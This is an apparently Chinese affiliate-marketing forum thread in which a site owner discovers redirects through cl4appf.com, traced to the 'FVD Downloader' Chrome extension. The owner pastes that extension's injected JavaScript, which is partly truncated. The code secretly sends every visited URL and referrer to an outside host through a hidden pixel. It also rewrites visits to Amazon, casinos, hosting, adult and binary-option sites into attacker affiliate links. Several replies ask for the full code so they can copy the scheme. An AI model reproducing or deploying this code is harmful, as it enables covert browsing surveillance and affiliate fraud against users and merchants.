这个是什么鬼？我被CS了吗？

sohorich

  u: B7 B4 F% X: J3 E( D4 K  s4 q我的安装CPVLab的站，每次访问我发觉chrome的底下有一个奇怪的跳转域名：

1. http://cl4appf.com/

复制代码

. U: V1 x6 D& ]* H我就奇了怪了，这个域名跟我毛关系都没有啊，这么会要经过它呢？
我Google了一下它，发现它一个页面，代码很奇怪。
5 d' l0 ?8 |. d% C# b2 c; u" Y

1. http://cl4appf.com/trackingcode?browser=chrome&source=fvd_downloader

复制代码

( n3 n9 _# h  G% i4 B( p我是技术小白，看不懂，求各位技术大拿给我看看是怎么回事？
我还注意到，他这个文件里有代码：

1. \ 'www.amazon.com': 'http://www.amazon.com/?tag=localmart-20',

复制代码

而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。

我真是头大了。我的问题是：
1、这个域名是个什么东西？
2、我访问我自己的站为什么会经过他来跳转？它是在我网站的服务器里安装了什么东西吗？
# v; g) R6 ]8 U2 t7 w6 I- s2 R0 R3、还是它只是在我电脑里安装了啥？

4、怎么解决这个鬼东西？
& c0 m# J; K  R! j/ r$ n* F9 T
& s- H7 i. {. X2 X1 V+ [6 E谢谢各位。有准确答案的，给予5个论坛币奖励。
5 ^4 G/ y; U) l
需要提供进一步信息的，请跟帖。我实在是不懂，不知道需要提供什么。
. o; Q9 E8 O. g5 u* H; h5 y5 C最后更新：
1 f) l  M% T  f- M, H
8 {  n" {+ Q, ?! k% c! j谢谢各位。终于确定了元凶，是一个叫 “FVD Downloader”的视频下载chrome插件。不是那个Bulk seo tools。有兴趣的同学可以去研究一下。
: i  W5 G. O; l; o; c) V

imbian

& `& j1 Z, v4 k# ?1 r2 Y# k2 q
抓个包试试。
+ H& ?% y: G5 B; B# b% r  Q# _, F" z感觉跟你电脑有关系。。是不是chrome装了被黑过的插件。
2 x- p! r+ l1 X

sohorich

: h3 O* I; t4 ~! N+ }. v" E, n为了大家方便看，我把他那个页面的代码贴一下：
7 j3 C3 K' k3 `* ~. I1 t

1. var script = document.createElement('script'); script.innerHTML = "\ (function(){\ var libs = function() {\ var disabled = ['localhost', 'docs.google.com'],\ google = ['www.google.com.ua', 'www.google.cl', 'www.google.com.lb', 'www.google.com', 'www.google.ru', 'www.google.com.vn', 'www.google.co.in', 'www.google.be', 'www.google.com.my', 'www.google.com.ph', 'www.google.com.bd', 'www.google.ps', 'www.google.com.br', 'www.google.ba', 'www.google.fr', 'www.google.pt', 'www.google.com.ar', 'www.google.com.pe', 'www.google.am', 'www.google.com.bo', 'www.google.com.pk', 'www.google.co.id', 'www.google.az', 'www.google.de', 'www.google.com.np', 'www.google.it', 'www.google.hu', 'www.google.com.co', 'www.google.com.mx', 'www.google.com.eg', 'www.google.ro', 'www.google.com.au', 'www.google.ae', 'www.google.no', 'www.google.nl', 'www.google.ge', 'www.google.tn', 'www.google.kz', 'www.google.by', 'www.google.co.uk', 'www.google.es', 'www.google.pl', 'www.google.com.tr', 'www.google.co.jp', 'www.google.com.jm', 'www.google.co.kr', 'www.google.cz', 'www.google.co.ve', 'www.google.com.gt', 'www.google.rs', 'www.google.co.th', 'www.google.at', 'www.google.mg', 'www.google.com.do', 'www.google.com.sa', 'www.google.com.ly', 'www.google.lk', 'www.google.sk', 'www.google.md', 'www.google.ie', 'www.google.com.tw', 'www.google.com.ni', 'www.google.fi', 'www.google.com.sv', 'www.google.dk', 'www.google.co.za', 'www.google.iq', 'www.google.si', 'www.google.ee', 'www.google.so', 'www.google.gr', 'www.google.com.cy', 'www.google.com.uy', 'www.google.dz', 'www.google.hn', 'www.google.co.cr', 'www.google.com.et', 'www.google.com.kh', 'www.google.com.ec', 'www.google.ca', 'www.google.com.hk', 'www.google.la', 'www.google.com.sg', 'www.google.bg', 'www.google.se', 'www.google.com.kw', 'www.google.co.ma', 'www.google.com.pa', 'www.google.com.qa', 'www.google.ch', 'www.google.com.om', 'www.google.co.il', 'www.google.lt', 'www.google.ci', 'www.google.com.bn'];\ \ var setCookie = function(name, value, expires, path, domain, secure) {\ var setExpiration = function(cookieLife) {\ var today = new Date();\ var expr = new Date(today.getTime() + cookieLife);\ return expr.toGMTString();\ };\ \ var cookieStr = name + '=' + escape(value) + '; ';\ \ if (expires) {\ expires = setExpiration(expires);\ cookieStr += 'expires=' + expires + '; ';\ }\ if (path) {\ cookieStr += 'path=' + path + '; ';\ }\ if (domain) {\ cookieStr += 'domain=' + domain + '; ';\ }\ if (secure) {\ cookieStr += 'secure; ';\ }\ \ document.cookie = cookieStr;\ };\ \ return {\ getCookie: function(w) {\ var cName = '',\ pCOOKIES = document.cookie.split('; ');\ for (var bb = 0; bb < pCOOKIES.length; bb++) {\ var NmeVal = pCOOKIES[bb].split('=');\ if (NmeVal[0] === w) {\ cName = unescape(NmeVal[1]);\ }\ }\ return cName;\ },\ setCookie: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 24 * 60 * 60 * 1000, path, domain, secure);\ },\ setCookieSeconds: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 1000, path, domain, secure);\ },\ insertPixel: function(url) {\ var pixel = document.createElement('img');\ pixel.src = url;\ pixel.style.position = 'absolute';\ pixel.style.top = '-9999px';\ pixel.style.left = '-9999px';\ document.body.appendChild(pixel);\ },\ isDisabled: function() {\ return (disabled.indexOf(window.location.host) >= 0);\ },\ isGoogle: function() {\ return (google.indexOf(window.location.host) >= 0);\ }\ };\ }();\ \ if (libs.isDisabled()) return;\ \ libs.insertPixel('http://cl4appf.com/x.gif?url='+encodeURIComponent(window.location.href)+'&ref='+encodeURIComponent(document.referrer));\ \ (function(){\ var sites = {\ '2vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'bestvulkan.org': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'casino.bet365.com': 'http://casino.bet365.com?affiliate=GM_00009434',\ 'casino.bet365.es': 'http://casino.bet365.com?affiliate=GM_00009435',\ 'club-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan.net': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan-slots.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'gold-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'ikvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'lp.vulkantrade.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'myvulkan.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'playvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'play-vulkan-casino.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'vulkancasino.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'vulkanclub.com': 'http://gomakemerich.com/?s=4&ref=wp_w527r273772p4_vclkads&url',\ 'www.amazon.com': 'http://www.amazon.com/?tag=localmart-20',\ 'www.ashleymadison.com': 'https://www.ashleymadison.com/A114080',\ 'www.ashleyrnadison.com': 'http://www.ashleyrnadison.com/A114080',\ 'www.sexy.com': 'http://crtracklink.com/go/OgX_bnwHp_lzkv/DEFAULT',\ 'www.slutroulette.com': 'http://crtracklink.com/go/dP_btbDX_lzkv/DEFAULT',\ 'www.exposedwebcams.com': 'http://crtracklink.com/go/dv_bnv8C_lzkv/DEFAULT',\ 'www.sexmatchbook.com': 'http://crtracklink.com/go/bquHm_lzkv/DEFAULT',\ 'www.myfreecams.com': 'http://crtracklink.com/go/nLKbP_lzkv/DEFAULT',\ 'www.punishtube.com': 'http://crtracklink.com/go/sJ_bnxeG_lzkv/DEFAULT',\ 'www.jpcamsexposed.com': 'http://crtracklink.com/go/N03_bnoNy_lzkv/DEFAULT',\ 'www.jpcams.com': 'http://crtracklink.com/go/Il_bp6sb_lzkv/DEFAULT',\ 'www.sondageporno.com': 'http://crtracklink.com/go/bW_bnmbz_lzkv/DEFAULT',\ 'www.freelifetimefuckbook.com': 'http://crtracklink.com/go/nSnxv_lzkv/DEFAULT',\ 'www.easydatingexposed.com': 'http://crtracklink.com/go/nIqvZ_lzkv/DEFAULT',\ 'www.pornoviolente.com': 'http://crtracklink.com/go/nV34d_lzkv/DEFAULT',\ 'www.sexeviolent.com': 'http://crtracklink.com/go/boDNc_lzkv/DEFAULT',\ 'www.jizzroulette.com': 'http://crtracklink.com/go/nB6c2_lzkv/DEFAULT',\ 'www.gaycamsexposed.com': 'http://crtracklink.com/go/nGk03_lzkv/DEFAULT',\ 'www.dafuckbook.com': 'http://crtracklink.com/go/hs5K_lzkv/DEFAULT',\ 'www.jetztgleichficken.com': 'http://crtracklink.com/go/nA3sz_lzkv/DEFAULT',\ 'www.sexdateportaal.nl': 'http://crtracklink.com/go/nIx8h_lzkv/DEFAULT',\ 'unasveltina.com': 'http://crtracklink.com/go/nGW6v_lzkv/DEFAULT',\ 'free.大人camfriend.com': 'http://crtracklink.com/go/nT2nq_lzkv/DEFAULT',\ 'www.camgratuite.com': 'http://crtracklink.com/go/nxCar_lzkv/DEFAULT',\ 'www.connectcams.nl': 'http://crtracklink.com/go/bqQUq_lzkv/DEFAULT',\ 'www.gayfreefun.net': 'http://crtracklink.com/go/nF1Yk_lzkv/DEFAULT',\ 'www.livefreefun.net': 'http://crtracklink.com/go/nAZEq_lzkv/DEFAULT',\ 'www.webcamshispanas.com': 'http://crtracklink.com/go/nBeS0_lzkv/DEFAULT',\ 'freexxxapp.com': 'http://crtracklink.com/go/ntN1r_lzkv/DEFAULT',\ 'es.cumlouder.com': 'http://crtracklink.com/go/boWPV_lzkv/DEFAULT',\ 'www.dapink.com': 'http://crtracklink.com/go/nBqjr_lzkv/DEFAULT',\ 'www.gayweb-tv.com': 'http://crtracklink.com/go/bsSBd_lzkv/DEFAULT',\ 'www.xcopines.com': 'http://crtracklink.com/go/bsOM4_lzkv/DEFAULT',\ 'www.testopure.com': 'http://crtracklink.com/go/nI6pA_lzkv/DEFAULT',\ 'www.24option.com': 'http://option.go2jump.org/SHSH8O',\ 'www.hostgator.com': 'http://www.kqzyfj.com/click-7655081-10408481?sid=red',\ 'www.godaddy.com': 'http://www.anrdoezrs.net/click-7655081-10378406',\ 'beyondhosting.net': 'http://www.tkqlhce.com/click-7655081-12005107',\ 'www.bose.de': 'http://www.dpbolvw.net/click-7655081-11913589',\ 'www.optionrally.com': 'http://go.wepayaffiliates.com/visit/?brand=OptionRally&bta=37550',\ 'travelata.ru': 'http://ad.admitad.com/goto/c065a61a6b846286ae03e617d5ef08/?subid=red',\ 'migcredit.ru': 'https://ad.admitad.com/goto/f6515a4c17846286ae036f1a920894/',\ 'www.iqcard.ru': 'https://ad.admitad.com/goto/0761bbbe17846286ae03a0b94ccf7b/',\ 'www.ezaem.ru': 'https://ad.admitad.com/goto/5f9807d2ec846286ae03566691beec/',\ 'astia.ru': 'https://ad.admitad.com/goto/797436df6e846286ae03a25564ddb0/',\ 'www.westwing.ru': 'https://ad.admitad.com/goto/ee438bee19846286ae033ca867e363/',\ 'platiza.ru': 'https://ad.admitad.com/goto/0062948c6b846286ae0302f107ff4c/',\ 'shop.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'www.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'go.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary50.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary-banks.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'eu.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=268&aff_id=7818',\ 'mega.co.nz': 'https://mega.co.nz/#pro/4Rh0Xbga',\ 'www.belkin.co.uk': 'http://www.jdoqocy.com/click-7655081-11980865',\ 'www.ebags.com': 'http://www.dpbolvw.net/click-7655081-10656249'\ },\ map = {\ 'parimatch.com': 'parimatch',\ 'partners.parimatch.com': 'parimatch',\ 'start.parimatchru.com': 'parimatch',\ 'www.bet365.com': 'bet365',\ 'www.bet365.com.au': 'bet365',\ 'www.bet365.dk': 'bet365-dk',\ 'www.bet365.es': 'bet365-es',\ 'www.bet365.gr': 'bet365-gr',\ 'www.booking.com': 'booking',\ 'www.parimatch.by': 'parimatch',\ 'www.parimatch.com': 'parimatch'\ },\ rules = {\ 'bet365':[\ {p:'^(.*)\\\\baffiliate=([^&]+)(.*)
   
2. 
   
3. ...........

复制代码

/ g; J' K5 n1 D太长了，没贴完. 后面还有。

backmao

明显被CS了 这就是aff的ID localmart-20

sohorich

backmao 发表于 2015-8-18 16:25
" l( Q! t  l+ ]9 x明显被CS了 这就是aff的ID localmart-20

, B* V, m: V1 K9 D. ~' a# B怎么办？

可以提供证据向amazon举报

windflower

很好奇是怎么被CS的

河小马

LZ 你的 cpvlab 是正版的不？
% _2 v9 @2 X9 p
( E8 o3 t4 `+ r3 r+ G$ Z你被cs 了这么多的商家。。真是狠啊。。

河小马

求楼主把代码发完。。。让我们也抄一下代码。。。和广告主

c21xdx

大批可CS的商家 get  ， 同求发代码

lessin

河小马 发表于 2015-8-18 18:04
求楼主把代码发完。。。让我们也抄一下代码。。。和广告主

5 G9 {2 T+ ]6 A. F( F+ E; @1 @/ D访问这个不是代码吗？http://cl4appf.com/trackingcode? ... urce=fvd_downloader

蜘蛛

能查到邮箱，给他发邮件，要求精神损失费。不给就举报

imbian

“而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。; ”
8 F; Y8 r0 a' p. _5 }
, a5 @7 v; \2 |- J* a, F! m9 ?这个跟你cpvlab没关系吧，你清下cookie试试，还会访问别人的链接不。。

sohorich

河小马 发表于 2015-8-18 17:59
LZ 你的 cpvlab 是正版的不？

你被cs 了这么多的商家。。真是狠啊。。

$ f7 e, c  a% P- T% _; `是正版的。但买了以后没升级过。

sohorich

imbian 发表于 2015-8-18 20:01
“而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。; ”

7 P2 C! S2 O9 m7 T9 D1 }4 n) q这个跟你cpvlab没关系吧 ...

1 g# f4 W8 o$ n. p8 s8 I6 _* _" J# t清过N次Cookie了，没用。